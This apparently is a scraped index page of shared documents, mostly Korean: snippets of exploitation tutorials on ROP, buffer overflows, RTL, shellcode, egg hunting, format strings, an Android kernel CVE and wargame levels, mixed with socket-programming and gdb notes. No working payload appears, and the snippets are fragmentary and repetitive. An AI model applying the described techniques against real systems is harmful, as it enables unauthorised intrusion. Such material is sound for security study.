01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 03 장 도메인네임시스템과주소 패밀리 (IPv4-IPv6 서비스 ) 1 목차 제 3 장도메인네임시스템과주소패밀리 3.1 도메인네임주소를숫자주소로매핑하기 3.2 IP 버전에무관한주소-범용코드의작성 3.3 숫자주소에서도메인네임주소획득하기 2 getaddrinfo() 를활용한주소 범용 (Generic) 코드 주소범용 (Generic) 코드란? 주소버전

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 1 목포해양대해양컴퓨터공학과 UDP 소켓 네트워크프로그램설계 4 장 2 목포해양대해양컴퓨터공학과 목차 제 4장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송신및수신 4.4 UDP 소켓의연결 3 목포해양대해양컴퓨터공학과 UDP 소켓의특징 UDP 소켓의특성 신뢰할수없는데이터전송방식 목적지에정확하게전송된다는보장이없음.

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드] 소켓개요 참고문헌 : 컴퓨터네트워크프로그래밍, 김화종, 홍릉과학출판사 Socket 정의 Socket 은 Transport 계층 (TCP 나 UDP) 을이용하는 API 1982 년 BSD 유닉스 41 에서처음소개 윈도우즈의경우 Winsock 제공 JAVA 또한 Socket 프로그래밍을위한클래스제공 Socket Interface 의위치 5-7 (Ses, Pre,

More information

Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc

Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc Execute Shellcode on the Mac OS X (Part 2) 1ndr4 indra.kr. x40. gmail.com http://indra.linuxstudy.pe.kr 2006. 01. 12. - 1 - Table of contents 0x00. Introduction... 3 0x01. Why need the REVERSE CONNECTION...

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770> C 로알아보는 소켓프로그래밍 이현환 (NOON) haonun@gmail.com http://noon.tistory.com Hacking Study Grup E.Y.E -------------------------------------------------------------------- 목차 --------------------------------------------------------------------

More information

Smashing The Stack For Fun And Profit by Aleph One

Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2 CVE-2016-3857 취약점분석보고서 ( 안드로이드커널임의쓰기취약점 ) ㅁ작성자 : x90c (x90chacker@gmail.com) ㅁ작성일 : 2018 년 7 월 18 일 ( 수 ) ㅁ대외비등급 : A (Top Secret) 1 [ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat   >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키 Lighttpd ( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat

More information

1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat   >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키 Lighttpd ( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft Word - KPMC-400,401 SW 사용 설명서 LKP Ethernet Card SW 사용설명서 Version Information Tornado 2.0, 2.2 알 림 여기에실린내용은제품의성능향상과신뢰도의증대를위하여예고없이변경될수도있습니다. 여기에실린내용의일부라도엘케이일레븐의사전허락없이어떠한유형의매체에복사되거나저장될수없으며전기적, 기계적, 광학적, 화학적인어떤방법으로도전송될수없습니다. 엘케이일레븐경기도성남시중원구상대원동

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

lecture4(6.범용IO).hwp

lecture4(6.범용IO).hwp 제 2 부 C-언어를 사용한 마이크로컨트롤러 활용기초 66 C-언어는 수학계산을 위해 개발된 FORTRAN 같은 고급언어들과는 달 리 Unix 운영체제를 개발하면서 같이 개발된 고급언어이다. 운영체제의 특성상 C-언어는 다른 고급언어에 비해 컴퓨터의 하드웨어를 직접 제어할 수 있는 능력이 탁월하여 마이크로프로세서의 프로그램에 있어서 어셈블 리와 더불어 가장

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

°ø±â¾Ð±â±â

°ø±â¾Ð±â±â 20, 30, 40 20, 30, 40 1 2 3 4 5 6 7 8 9 10 3.1 6.3 9.4 12.6 15.7 18.8 22.0 25.1 28.3 31.4 2.4 4.7 7.1 9.4 11.8 14.1 16.5 18.8 21.2 23.6 7.1 14.1 21.2 28.3 35.3 42.4 49.5 56.5 63.6 70.7 5.9 11.9 17.8 23.7

More information

슬라이드 1

슬라이드 1 Computer Networks Practice Socket 1 DK Han Junghwan Song dkhan@mmlab.snu.ac.kr jhsong@mmlab.snu.ac.kr 2012-3-26 Multimedia and Mobile communications Laboratory Introduction Client / Server model Server

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt 12 장 소켓을이용한통신 (1) 함수 - inet_addr - inet_ntoa - socket - bind - listen - accept - connect - recv -send 1 서론 파이프를사용하여통신을하기위한시스템호출 / 표준라이브러리함수 함수 의미 inet_addr 문자열형태의인터넷주소를바이너리형태로변환한다. inet_ntoa 바이너리형태의인터넷주소를문자열형태로변환한다.

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

